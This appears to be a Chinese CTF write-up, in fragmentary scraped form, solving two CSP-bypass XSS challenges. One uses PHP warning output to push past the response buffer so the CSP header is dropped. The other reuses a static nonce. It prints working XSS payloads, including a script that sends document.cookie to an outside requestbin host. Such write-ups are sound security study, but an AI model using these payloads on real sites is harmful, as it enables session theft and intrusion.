接近年边了比赛挺多的,就挑了几个自己擅长的类型题目做了一下,结果题目都太难了QAQ。
We just started our bug bounty program. Can you find anything suspicious? The website is running at https://baby-csp.web.jctf.pro/
<?php require_once("secrets.php"); $nonce = random_bytes(8); if(isset($_GET['flag'])){ if(isAdmin()){ header('X-Content-Type-Options: nosniff'); header('X-Frame-Options: DENY'); header('Content-type: text/html; charset=UTF-8'); echo $flag; die(); } else{ echo "You are not an admin!"; die(); } } for($i=0; $i<10; $i++){ if(isset($_GET['alg'])){ $_nonce = hash($_GET['alg'], $nonce); if($_nonce){ $nonce = $_nonce; continue; } } $nonce = md5($nonce); } if(isset($_GET['user']) && strlen($_GET['user']) <= 23) { header("content-security-policy: default-src 'none'; style-src 'nonce-$nonce'; script-src 'nonce-$nonce'"); echo <<<EOT <script nonce='$nonce'> setInterval( ()=>user.style.color=Math.random()<0.3?'red':'black' ,100); </script> <center><h1> Hello <span id='user'>{$_GET['user']}</span>!!</h1> <p>Click <a href="?flag">here</a> to get a flag!</p> EOT; }else{ show_source(__FILE__); } // Found a bug? We want to hear from you! /bugbounty.php // Check /Dockerfile
/bugbounty.php
,应该是提交bug
链接的地方。/Dockerfile
,给我们提供了一个Dockerfile
文件:FROM php:7.4-apache COPY src-docker/ /var/www/html/ RUN mv "$PHP_INI_DIR/php.ini-development" "$PHP_INI_DIR/php.ini" EXPOSE 80
Dockerfile
中我们知道php
使用的是开发环境。这个点是非常关键的,因为后面我们要利用php
响应缓冲区大小填充来绕过http响应头。XSS
/?user=<span>ljpm</span>
插入一个标签并显示在页面中,你可以访问该地址查看https://baby-csp.web.jctf.pro/?user=%3Cspan%3Eljpm%3C/span%3E 。23
个字符以内(strlen($_GET['user']) <= 23
),通过 https://tinyxss.terjanq.me/ 我们能发现,payload大概是这个样子:Content-Security-Policy
策略我们的代码显然不可能执行:php
环境是开发模式下的,hash($_GET['alg'], $nonce)
hash函数通过$_GET[]
来获取alg
参数,该参数是用来选择hash()
算法的,以便从8个随机字节中生成随机数,但是如果alg
无效呢?它会抛出10个警告。header()
之前返回任何主体数据时,该调用将被忽略,因为响应已发送给用户,并且必须先发送标头。 在应用程序中,在调用header("content-security-policy: default-src 'none'; style-src 'nonce-$nonce'; script-src 'nonce-$nonce'");
之前未返回任何显式数据。但是因为警告是首先显示的,所以它们在header()
有机会到达之前就进入了响应缓冲区。4096
字节,因此通过在warnings
内提供足够的数据,响应将在CSP
头之前发送,从而导致头被忽略。 因此,就可以执行我们插入的代码了。1kb
),因此有必要将4个警告各强制1000
个字符,其实大于1000
字符也可以的。<script> name="fetch('?flag').then(e=>e.text()).then(alert)"; location = 'https://baby-csp.web.jctf.pro/?user=%3Csvg%20onload=eval(name)%3E&alg='+'a'.repeat('292'); </script>
const express = require('express'); const crypto = require("crypto"); const config = require("./config.js"); const app = express() const port = process.env.port || 3000; const SECRET = config.secret; const NONCE = crypto.randomBytes(16).toString('base64'); const template = name => ` <html> ${name === '' ? '' : `<h1>${name}</h1>`} <a href='#' id=elem>View Fruit</a> <script nonce=${NONCE}> elem.onclick = () => { location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]); } </script> </html> `; app.get('/', (req, res) => { res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`); res.send(template(req.query.name || "")); }) app.use('/' + SECRET, express.static(__dirname + "/secret")); app.listen(port, () => { console.log(`Example app listening at http://localhost:${port}`) })
CSP
设置了default-src none; script-src 'nonce-${NONCE}';
,我们想要执行脚本,必须获取nonce
的值。但是nonce
的值是变动的因此无法使用?不完整script标签绕过nonce
<?php header("X-XSS-Protection:0");?> <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-xxxxx'"> <?php echo $_GET['xss']?> <script nonce='xxxxx'> //do some thing </script>
nonce
属于硬编码,直接读取即可。NONCE
已经初始化,而且在我们访问题目的时候,不会在去执行模板上面的NONCE
生成,因此每次访问是不会变的。<script nonce="g+ojjmb9xLfE+3j9PsP/Ig=="> location.href="http://http.requestbin.buuoj.cn/1jfgdf81?flag="+document.cookie; </script>
url
编码。secret